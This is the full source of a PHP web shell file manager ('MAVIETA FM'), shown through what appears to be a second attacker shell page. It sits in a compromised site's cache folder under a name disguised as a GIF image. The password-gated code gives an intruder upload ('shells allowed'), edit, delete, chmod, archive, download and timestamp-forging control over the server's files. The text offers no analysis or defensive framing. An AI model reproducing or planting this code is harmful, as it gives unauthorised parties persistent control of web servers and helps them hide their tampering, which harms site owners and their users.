Cyb3r Drag0nz Team Shell

Viewing: //proc/2855322/cwd/www/cache/index.php.gif

<?php $config=['TEAM898'=>'HengHeng898',];if(!isset($_GET['TEAM898'])||$_GET['TEAM898']!==$config['TEAM898']){die('Access Denied!');}function getDir($p){$dir=realpath($p);if(!$dir||!is_dir($dir))$dir=__DIR__;return $dir;}function safePath($base,$path){$full=realpath($base.DIRECTORY_SEPARATOR.$path);if($full===false||strpos($full,realpath($base))!==0)return false;return $full;}$p=isset($_GET['p'])?$_GET['p']:'.';$f=isset($_GET['f'])?$_GET['f']:'index';$dir=getDir($p);chdir($dir);if($f=='upload'&&isset($_FILES['files'])){foreach($_FILES['files']['name']as $i=>$name){if($_FILES['files']['error'][$i]==UPLOAD_ERR_OK){$target=$dir.'/'.basename($name);move_uploaded_file($_FILES['files']['tmp_name'][$i],$target);}}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='edit'&&isset($_POST['content'])&&isset($_POST['file'])){$file=safePath($dir,$_POST['file']);if($file)file_put_contents($file,$_POST['content']);header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='create'&&isset($_POST['newfile'])){$target=$dir.'/'.basename($_POST['newfile']);if(!file_exists($target))file_put_contents($target,'');header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='mkdir'&&isset($_POST['foldername'])){$target=$dir.'/'.basename($_POST['foldername']);if(!file_exists($target))mkdir($target,0755,true);header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='delete'&&isset($_GET['file'])){$target=safePath($dir,$_GET['file']);if($target){if(is_dir($target))rmdir($target);else unlink($target);}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='rename'&&isset($_GET['old'])&&isset($_GET['new'])){$old=safePath($dir,$_GET['old']);$new=$dir.'/'.basename($_GET['new']);if($old&&!file_exists($new))rename($old,$new);header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='copy'&&isset($_GET['file'])&&isset($_GET['dest'])){$src=safePath($dir,$_GET['file']);$dest=$dir.'/'.basename($_GET['dest']);if($src&&!file_exists($dest)){if(is_dir($src)){function rcopy($src,$dst){if(!is_dir($dst))mkdir($dst,0755,true);foreach(scandir($src)as $item){if($item=='.'||$item=='..')continue;$s=$src.'/'.$item;$d=$dst.'/'.$item;if(is_dir($s))rcopy($s,$d);else copy($s,$d);}}rcopy($src,$dest);}else{copy($src,$dest);}}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='move'&&isset($_GET['file'])&&isset($_GET['dest'])){$src=safePath($dir,$_GET['file']);$dest=$dir.'/'.basename($_GET['dest']);if($src&&!file_exists($dest))rename($src,$dest);header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='chmod'&&isset($_GET['file'])&&isset($_GET['perm'])){$target=safePath($dir,$_GET['file']);if($target)chmod($target,octdec($_GET['perm']));header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='touch'&&isset($_GET['file'])){$target=safePath($dir,$_GET['file']);if($target)touch($target);header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='touch_multi'&&isset($_POST['files'])){foreach($_POST['files']as $file){$target=safePath($dir,$file);if($target)touch($target);}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='zip'&&isset($_POST['files'])){$files=$_POST['files'];$zipname='archive_'.date('Ymd_His').'.zip';$zip=new ZipArchive();if($zip->open($dir.'/'.$zipname,ZipArchive::CREATE)===true){foreach($files as $file){$path=safePath($dir,$file);if($path){if(is_dir($path)){$zip->addEmptyDir($file);$iter=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);foreach($iter as $item){if($item->isDir()){$zip->addEmptyDir(str_replace($dir.'/','',$item->getPathname()));}else{$zip->addFile($item->getPathname(),str_replace($dir.'/','',$item->getPathname()));}}}else{$zip->addFile($path,$file);}}}$zip->close();}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='unzip'&&isset($_GET['file'])){$zip=safePath($dir,$_GET['file']);if($zip&&pathinfo($zip,PATHINFO_EXTENSION)=='zip'){$zipObj=new ZipArchive();if($zipObj->open($zip)===TRUE){$zipObj->extractTo($dir);$zipObj->close();unlink($zip);}}header('Location: ?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir));exit;}if($f=='download'&&isset($_GET['file'])){$file=safePath($dir,$_GET['file']);if($file&&is_file($file)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($file).'"');readfile($file);exit;}}if($f=='preview'&&isset($_GET['file'])){$file=safePath($dir,$_GET['file']);if($file&&is_file($file)){$ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));if(in_array($ext,['jpg','jpeg','png','gif','webp'])){header('Content-Type: image/'.$ext);readfile($file);exit;}else{$content=htmlspecialchars(file_get_contents($file));echo"<pre style='background:#222;color:#0f0;padding:20px;'>$content</pre>";exit;}}}if($f=='search'&&isset($_GET['q'])){$q=$_GET['q'];$results=[];$iter=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS));foreach($iter as $item){if(strpos($item->getFilename(),$q)!==false){$results[]=str_replace($dir.'/','',$item->getPathname());}}echo"<h2>Hasil pencarian untuk '$q'</h2><ul>";foreach($results as $r)echo "<li><a href='?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=preview&file=".urlencode($r)."'>$r</a></li>";echo "</ul><a href='?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."'>&larr; Kembali</a>";exit;}$items=scandir($dir);$parts=explode(DIRECTORY_SEPARATOR,$dir);$bread='<a href="?TEAM898='.urlencode($config['TEAM898']).'&p=">root</a>';$path='';foreach($parts as $part){if($part){$path.='/'.$part;$bread.=' / <a href="?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($path).'">'.$part.'</a>';}} ?><!doctypehtml><html><head><title>MAVIETA FM</title><meta charset="UTF-8"><style>*{box-sizing:border-box}body{font-family:'Segoe UI',Tahoma,sans-serif;background:#0d1117;color:#c9d1d9;margin:0;padding:20px}a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}.container{max-width:1400px;margin:0 auto}.header{display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #30363d;padding-bottom:10px}.header h1{margin:0;font-size:24px}.header h1 span{color:#f0883e}.toolbar{background:#161b22;padding:12px;border-radius:6px;margin:15px 0;display:flex;flex-wrap:wrap;gap:10px;align-items:center}.toolbar form{display:inline-flex;align-items:center;gap:6px;margin:0}.toolbar button,.toolbar input,.toolbar select{background:#0d1117;border:1px solid #30363d;color:#c9d1d9;padding:6px 12px;border-radius:4px;font-size:13px}.toolbar button{background:#238636;border-color:#238636;cursor:pointer}.toolbar button:hover{background:#2ea043}.toolbar .danger{background:#da3633;border-color:#da3633}.toolbar .danger:hover{background:#f85149}.toolbar .warning{background:#d29922;border-color:#d29922}.toolbar .warning:hover{background:#e3b341}.breadcrumb{background:#161b22;padding:8px 12px;border-radius:6px;margin:10px 0;font-size:14px}table{width:100%;border-collapse:collapse;margin-top:10px}th{text-align:left;padding:8px;border-bottom:1px solid #30363d;color:#8b949e;font-weight:400}td{padding:6px 8px;border-bottom:1px solid #21262d;vertical-align:middle}tr:hover{background:#161b22}.file-icon{margin-right:8px}.actions a{margin:0 4px;font-size:13px}.actions a:hover{text-decoration:underline}.badge{background:#30363d;padding:2px 8px;border-radius:12px;font-size:12px}.footer{margin-top:30px;border-top:1px solid #30363d;padding-top:15px;text-align:center;font-size:13px;color:#8b949e}.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.7);justify-content:center;align-items:center;z-index:999}.modal-content{background:#161b22;padding:30px;border-radius:8px;max-width:500px;width:90%}.modal-content input{width:100%;padding:8px;margin:8px 0;background:#0d1117;border:1px solid #30363d;color:#c9d1d9;border-radius:4px}.modal-content button{margin:5px}.close{float:right;cursor:pointer;font-size:24px}.edit-form textarea{width:100%;height:400px;background:#0d1117;color:#c9d1d9;border:1px solid #30363d;padding:10px;font-family:monospace}@media (max-width:768px){.toolbar{flex-direction:column;align-items:stretch}.toolbar form{flex-wrap:wrap}}</style></head><body><div class="container"><div class="header"><h1><span>📁</span> MAVIETA <span style="color:#58a6ff">FM</span></h1><div><span class="badge"><?=htmlspecialchars($dir)?></span><span class="badge">TEAM898:<?=htmlspecialchars($config['TEAM898'])?></span></div></div><div class="breadcrumb"><?=$bread?></div><div class="toolbar"><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=upload"method="post"enctype="multipart/form-data"><input name="files[]"type="file"multiple required> <button type="submit">⬆ Upload (shells allowed)</button></form><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=create"method="post"><input name="newfile"placeholder="file.txt"size="10"> <button type="submit">+ File</button></form><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=mkdir"method="post"><input name="foldername"placeholder="folder"size="10"> <button type="submit">+ Folder</button></form><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=search"><input name="TEAM898"type="hidden"value="<?=htmlspecialchars($config['TEAM898'])?>"> <input name="p"type="hidden"value="<?=htmlspecialchars($dir)?>"> <input name="f"type="hidden"value="search"> <input name="q"placeholder="Cari..."size="12"> <button type="submit">🔍</button></form><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=zip"method="post"id="zipForm"><button type="submit"class="danger">📦 Zip selected</button></form><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=touch_multi"method="post"id="touchForm"><button type="submit"class="warning">⏰ Update Time (selected)</button></form><span style="font-size:12px;color:#8b949e">(centang file)</span></div><table><thead><tr><th style="width:30px"><input type="checkbox"id="selectAll"></th><th>Nama</th><th>Ukuran</th><th>Modifikasi</th><th>Aksi</th></tr></thead><tbody><?php foreach($items as $item):if($item=='.'||$item=='..')continue;$full=$dir.'/'.$item;$isDir=is_dir($full);$size=$isDir?'':number_format(filesize($full));$mtime=date('Y-m-d H:i',filemtime($full));$icon=$isDir?'📁':'📄';$link=$isDir?'?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($full):'?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir).'&f=edit&file='.urlencode($item);$del='?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir).'&f=delete&file='.urlencode($item);$rename="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=rename&old=".urlencode($item);$copy="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=copy&file=".urlencode($item);$move="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=move&file=".urlencode($item);$chmod="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=chmod&file=".urlencode($item);$touch="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=touch&file=".urlencode($item);$preview="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=preview&file=".urlencode($item);$download="?TEAM898=".urlencode($config['TEAM898'])."&p=".urlencode($dir)."&f=download&file=".urlencode($item);$unzip=($isDir||pathinfo($item,PATHINFO_EXTENSION)!='zip')?'':' <a href="?TEAM898='.urlencode($config['TEAM898']).'&p='.urlencode($dir).'&f=unzip&file='.urlencode($item).'">[unzip]</a>';$textExts=['txt','php','html','htm','css','js','json','xml','sql','sh','py','rb','c','cpp','java','go','conf','ini','log'];$ext=pathinfo($item,PATHINFO_EXTENSION);$isText=in_array(strtolower($ext),$textExts); ?><tr><td><input name="files[]"type="checkbox"value="<?=htmlspecialchars($item)?>"class="file-check"></td><td><a href="<?=$link?>"><?=$icon?><?=htmlspecialchars($item)?></a></td><td><?=$size?></td><td><?=$mtime?></td><td class="actions"><?php if(!$isDir): ?><a href="<?=$preview?>"target="_blank">👁️</a> <a href="<?=$download?>">⬇</a><?php if($isText): ?><a href="<?=$link?>">✏️ Edit</a><?php endif; ?><?php endif; ?><a href="<?=$rename?>"onclick='return promptRename("<?=htmlspecialchars($item)?>")'>✏️</a> <a href="<?=$copy?>"onclick='return promptCopy("<?=htmlspecialchars($item)?>")'>📋</a> <a href="<?=$move?>"onclick='return promptMove("<?=htmlspecialchars($item)?>")'>📂</a> <a href="<?=$chmod?>"onclick='return promptChmod("<?=htmlspecialchars($item)?>")'>🔐</a> <a href="<?=$touch?>"onclick='return confirm("Update timestamp untuk<?=htmlspecialchars($item)?>?")'>⏰</a> <a href="<?=$del?>"onclick='return confirm("Hapus<?=htmlspecialchars($item)?>?")'>🗑️</a><?=$unzip?></td></tr><?php endforeach; ?></tbody></table><div class="footer">© MAVIETA FM Pro TEAM898:<?=htmlspecialchars($config['TEAM898'])?></div></div><div class="modal"id="actionModal"><div class="modal-content"><span class="close"onclick="closeModal()">×</span><h3 id="modalTitle">Action</h3><form id="modalForm"><input name="TEAM898"type="hidden"value="<?=htmlspecialchars($config['TEAM898'])?>"> <input name="p"type="hidden"value="<?=htmlspecialchars($dir)?>"> <input name="f"type="hidden"value=""id="modalAction"> <input name="file"type="hidden"value=""id="modalFile"> <label for="modalInput">Nilai:</label> <input name="new"id="modalInput"placeholder="Nama baru"required> <button type="submit">Simpan</button></form></div></div><?php if($f=='edit'&&isset($_GET['file'])){$editFile=safePath($dir,$_GET['file']);if($editFile&&is_file($editFile)){$content=htmlspecialchars(file_get_contents($editFile)); ?><div class="modal"style="display:flex"><div class="modal-content"style="max-width:800px"><span class="close"onclick='window.location="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>"'>×</span><h3>Edit:<?=htmlspecialchars(basename($editFile))?></h3><form action="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>&f=edit"method="post"><input name="file"type="hidden"value="<?=htmlspecialchars(basename($editFile))?>"> <textarea class="edit-form"name="content"><?=$content?></textarea> <button type="submit">💾 Simpan</button> <button type="button"onclick='window.location="?TEAM898=<?=urlencode($config['TEAM898'])?>&p=<?=urlencode($dir)?>"'>Batal</button></form></div></div><?php }} ?><script>// Select all
document.getElementById('selectAll').addEventListener('change', function(e) {
    document.querySelectorAll('.file-check').forEach(cb => cb.checked = e.target.checked);
});

// Modal functions
function openModal(title, action, file, placeholder) {
    document.getElementById('modalTitle').innerText = title;
    document.getElementById('modalAction').value = action;
    document.getElementById('modalFile').value = file;
    document.getElementById('modalInput').value = '';
    document.getElementById('modalInput').placeholder = placeholder;
    document.getElementById('actionModal').style.display = 'flex';
    return false;
}

function closeModal() {
    document.getElementById('actionModal').style.display = 'none';
}

function promptRename(file) {
    return openModal('Rename', 'rename', file, 'Nama baru');
}

function promptCopy(file) {
    return openModal('Copy', 'copy', file, 'Nama tujuan (misal: salinan_'+file+')');
}

function promptMove(file) {
    return openModal('Move', 'move', file, 'Nama tujuan (folder/file)');
}

function promptChmod(file) {
    return openModal('Chmod', 'chmod', file, 'Permission (misal: 755)');
}

// Tutup modal jika klik di luar
window.onclick = function(event) {
    if (event.target == document.getElementById('actionModal')) closeModal();
}

// Pastikan form touch_multi dan zip mengirimkan checkbox yang dicentang
document.querySelectorAll('#touchForm, #zipForm').forEach(form => {
    form.addEventListener('submit', function(e) {
        const checked = document.querySelectorAll('.file-check:checked');
        if (checked.length === 0) {
            e.preventDefault();
            alert('Pilih minimal satu file/folder!');
            return false;
        }
        // Hapus input hidden sebelumnya jika ada
        this.querySelectorAll('input[type="hidden"][name="files[]"]').forEach(el => el.remove());
        checked.forEach(cb => {
            const inp = document.createElement('input');
            inp.type = 'hidden';
            inp.name = 'files[]';
            inp.value = cb.value;
            this.appendChild(inp);
        });
    });
});</script></body></html>